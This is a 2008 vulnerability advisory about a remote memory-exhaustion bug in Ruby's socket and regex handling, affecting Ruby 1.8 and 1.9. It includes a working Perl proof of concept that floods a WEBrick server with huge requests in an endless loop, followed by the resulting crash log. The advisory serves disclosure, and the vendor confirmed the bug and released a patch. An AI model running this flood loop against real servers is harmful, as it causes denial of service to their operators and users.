ruby19-leak.txt

`-------------------------------------------------------  
Language : Ruby   
  
Web Site: www.ruby-lang.org  
  
Platform: All  
  
Bug: Remote Socket Memory Leak  
  
Products Affected:  
1.8 series:  
- 1.8.5 and all prior versions  
- 1.8.6-p286 and all prior versions  
- 1.8.7-p71 and all prior versions  
  
1.9 series  
- r18423 and all prior revisions  
  
Confirmed by the vendor: Yes  
  
Patch available : Yes  
-------------------------------------------------------  
  
1) Introduction  
2) Bug  
3) Proof of concept  
4) Credits  
  
===============  
1) Introduction  
===============  
"A dynamic, open source programming language with a focus on simplicity and productivity.  
It has an elegant syntax that is natural to read and easy to write."  
  
=======  
2) Bug  
=======  
Ruby fails to handle properly the memory allocated for a socket  
So when you send ~ 4 big request to a ruby socket, ruby will go   
in infinite loop, and then crash.  
The bug reside in the regex engine (in regex.c).  
  
==================  
3)Proof of concept  
===================  
This poc is an exemple for Webrick web server  
crap.pl :  
  
#!/usr/bin/perl  
use LWP::Simple;  
my $payload = "\x41" x 49999999;  
while(1)  
{  
print "[+]\n";  
get "http://127.0.0.1:2500/".$payload."";  
}  
  
Result (Exemple on Webrick web server):  
  
[2008-07-11 22:39:55] INFO WEBrick 1.3.1  
[2008-07-11 22:39:55] INFO ruby 1.8.6 (2007-09-24) [i486-linux]  
[2008-07-11 22:39:55] INFO WEBrick::HTTPServer#start: pid=13850 port=2500  
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory  
/usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'  
/usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'  
/usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'  
/usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'  
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start'  
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'  
/usr/lib/ruby/1.8/webrick/server.rb:95:in `start'  
/usr/lib/ruby/1.8/webrick/server.rb:92:in `each'  
/usr/lib/ruby/1.8/webrick/server.rb:92:in `start'  
/usr/lib/ruby/1.8/webrick/server.rb:23:in `start'  
/usr/lib/ruby/1.8/webrick/server.rb:82:in `start'  
/home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'  
script/server:62  
[FATAL] failed to allocate memory  
root@audit:/home/audit#  
  
=====  
5)Credits  
=====  
  
laurent gaffié  
  
laurent.gaffie{remove_this}[at]gmail[dot]com  
  
`